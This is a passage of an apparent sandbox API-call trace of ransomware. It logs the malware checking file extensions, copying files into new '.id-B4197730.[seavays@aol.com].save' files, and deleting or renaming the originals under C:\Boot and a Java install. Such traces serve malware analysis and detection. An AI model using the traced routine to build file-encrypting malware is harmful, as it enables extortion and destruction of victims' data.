(lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.413] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.413] lstrlenW (lpString=".doc") returned 4 [0159.413] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.413] lstrlenW (lpString=".docx") returned 5 [0159.413] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.413] lstrlenW (lpString=".pdf") returned 4 [0159.413] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.413] lstrlenW (lpString=".xls") returned 4 [0159.413] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.413] lstrlenW (lpString=".xlsx") returned 5 [0159.413] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.414] lstrlenW (lpString=".ppt") returned 4 [0159.414] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString=".zip") returned 4 [0159.414] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.414] lstrlenW (lpString=".rar") returned 4 [0159.414] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.414] lstrlenW (lpString=".bz2") returned 4 [0159.414] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.414] lstrlenW (lpString=".7z") returned 3 [0159.414] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString=".dbf") returned 4 [0159.414] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString=".1cd") returned 4 [0159.414] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString=".jpg") returned 4 [0159.414] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.414] lstrlenW (lpString=".doc") returned 4 [0159.414] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.414] lstrlenW (lpString=".docx") returned 5 [0159.414] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.414] lstrlenW (lpString=".pdf") returned 4 [0159.414] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.414] lstrlenW (lpString=".xls") returned 4 [0159.415] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.415] lstrlenW (lpString=".xlsx") returned 5 [0159.415] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.415] lstrlenW (lpString=".ppt") returned 4 [0159.415] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.415] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.415] lstrlenW (lpString=".zip") returned 4 [0159.415] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.415] lstrlenW (lpString=".rar") returned 4 [0159.415] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.415] lstrlenW (lpString=".bz2") returned 4 [0159.415] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.415] lstrlenW (lpString=".7z") returned 3 [0159.415] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.415] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.415] lstrlenW (lpString=".dbf") returned 4 [0159.415] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.415] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.415] lstrlenW (lpString=".1cd") returned 4 [0159.415] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.415] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0159.415] lstrlenW (lpString=".jpg") returned 4 [0159.415] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.415] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.416] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.416] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.416] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=79200) returned 1 [0159.416] CloseHandle (hObject=0x374) returned 1 [0159.416] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0159.416] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.416] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.416] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0159.416] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0159.416] lstrlenW (lpString=".doc") returned 4 [0159.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.416] lstrlenW (lpString=".docx") returned 5 [0159.417] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.417] lstrlenW (lpString=".pdf") returned 4 [0159.417] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.417] lstrlenW (lpString=".xls") returned 4 [0159.417] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.417] lstrlenW (lpString=".xlsx") returned 5 [0159.417] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.417] lstrlenW (lpString=".ppt") returned 4 [0159.417] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.417] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0159.417] lstrlenW (lpString=".zip") returned 4 [0159.417] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.417] lstrlenW (lpString=".rar") returned 4 [0159.417] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.417] lstrlenW (lpString=".bz2") returned 4 [0159.417] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.417] lstrlenW (lpString=".7z") returned 3 [0159.417] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.422] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.424] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.426] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.427] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.907] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3036922) returned 1 [0160.907] CloseHandle (hObject=0x3a4) returned 1 [0160.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0160.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.909] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.909] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0160.910] GetLastError () returned 0x0 [0160.910] ReadFile (in: hFile=0x3a4, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x14983, lpOverlapped=0x0) returned 1 [0160.934] WriteFile (in: hFile=0x3a8, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x14990, lpOverlapped=0x0) returned 1 [0160.938] ReadFile (in: hFile=0x3a4, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.938] WriteFile (in: hFile=0x3a8, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe6, lpOverlapped=0x0) returned 1 [0160.938] SetEndOfFile (hFile=0x3a8) returned 1 [0160.938] CloseHandle (hObject=0x3a8) returned 1 [0160.938] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] SetEndOfFile (hFile=0x3a4) returned 1 [0161.680] CloseHandle (hObject=0x3a4) returned 1 [0161.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.681] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0161.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.682] lstrlenW (lpString=".doc") returned 4 [0161.682] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".docx") returned 5 [0161.682] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0161.682] lstrlenW (lpString=".pdf") returned 4 [0161.682] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".xls") returned 4 [0161.682] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".xlsx") returned 5 [0161.682] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0161.682] lstrlenW (lpString=".ppt") returned 4 [0161.682] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0161.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.682] lstrlenW (lpString=".zip") returned 4 [0161.682] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".rar") returned 4 [0161.682] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".bz2") returned 4 [0161.682] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0161.682] lstrlenW (lpString=".7z") returned 3 [0161.682] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0161.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.682] lstrlenW (lpString=".dbf") returned 4 [0161.682] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0161.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.682] lstrlenW (lpString=".1cd") returned 4 [0161.682] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0161.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.683] lstrlenW (lpString=".jpg") returned 4 [0161.683] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0161.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.683] lstrlenW (lpString=".doc") returned 4 [0161.683] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".docx") returned 5 [0161.683] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0161.683] lstrlenW (lpString=".pdf") returned 4 [0161.683] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".xls") returned 4 [0161.683] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".xlsx") returned 5 [0161.683] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0161.683] lstrlenW (lpString=".ppt") returned 4 [0161.683] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0161.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.683] lstrlenW (lpString=".zip") returned 4 [0161.683] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".rar") returned 4 [0161.683] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".bz2") returned 4 [0161.683] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0161.683] lstrlenW (lpString=".7z") returned 3 [0161.684] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0161.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.684] lstrlenW (lpString=".dbf") returned 4 [0161.684] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0161.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.684] lstrlenW (lpString=".1cd") returned 4 [0161.684] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0161.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0161.684] lstrlenW (lpString=".jpg") returned 4 [0161.684] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0161.684] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0161.684] lstrlenW (lpString="messages_de.properties") returned 22 [0161.684] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0161.951] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3306) returned 1 [0161.951] CloseHandle (hObject=0x3cc) returned 1 [0161.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0162.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.638] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.639] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.639] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0162.640] GetLastError () returned 0x0 [0162.640] ReadFile (in: hFile=0x438, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xcea, lpOverlapped=0x0) returned 1 [0162.642] WriteFile (in: hFile=0x43c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0162.643] ReadFile (in: hFile=0x438, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.643] WriteFile (in: hFile=0x43c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x100, lpOverlapped=0x0) returned 1 [0162.643] SetEndOfFile (hFile=0x43c) returned 1 [0162.644] CloseHandle (hObject=0x43c) returned 1 [0162.644] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.644] SetEndOfFile (hFile=0x438) returned 1 [0162.647] CloseHandle (hObject=0x438) returned 1 [0162.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.647] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0162.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.648] lstrlenW (lpString=".doc") returned 4 [0162.648] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.648] lstrlenW (lpString=".docx") returned 5 [0162.648] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.648] lstrlenW (lpString=".pdf") returned 4 [0162.648] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.648] lstrlenW (lpString=".xls") returned 4 [0162.649] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString=".xlsx") returned 5 [0162.649] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.649] lstrlenW (lpString=".ppt") returned 4 [0162.649] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.649] lstrlenW (lpString=".zip") returned 4 [0162.649] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString=".rar") returned 4 [0162.649] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString=".bz2") returned 4 [0162.649] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString=".7z") returned 3 [0162.649] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.649] lstrlenW (lpString=".dbf") returned 4 [0162.649] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.649] lstrlenW (lpString=".1cd") returned 4 [0162.649] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.649] lstrlenW (lpString=".jpg") returned 4 [0162.649] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.650] lstrlenW (lpString=".doc") returned 4 [0162.650] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".docx") returned 5 [0162.650] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.650] lstrlenW (lpString=".pdf") returned 4 [0162.650] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".xls") returned 4 [0162.650] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".xlsx") returned 5 [0162.650] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.650] lstrlenW (lpString=".ppt") returned 4 [0162.650] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.650] lstrlenW (lpString=".zip") returned 4 [0162.650] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".rar") returned 4 [0162.650] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".bz2") returned 4 [0162.650] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString=".7z") returned 3 [0162.650] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.650] lstrlenW (lpString=".dbf") returned 4 [0162.650] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.651] lstrlenW (lpString=".1cd") returned 4 [0162.651] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0162.651] lstrlenW (lpString=".jpg") returned 4 [0162.651] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.651] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.651] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0162.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.652] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=4072) returned 1 [0162.652] CloseHandle (hObject=0x438) returned 1 [0162.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0162.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.653] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.653] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0162.659] GetLastError () returned 0x0 [0162.659] ReadFile (in: hFile=0x438, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, 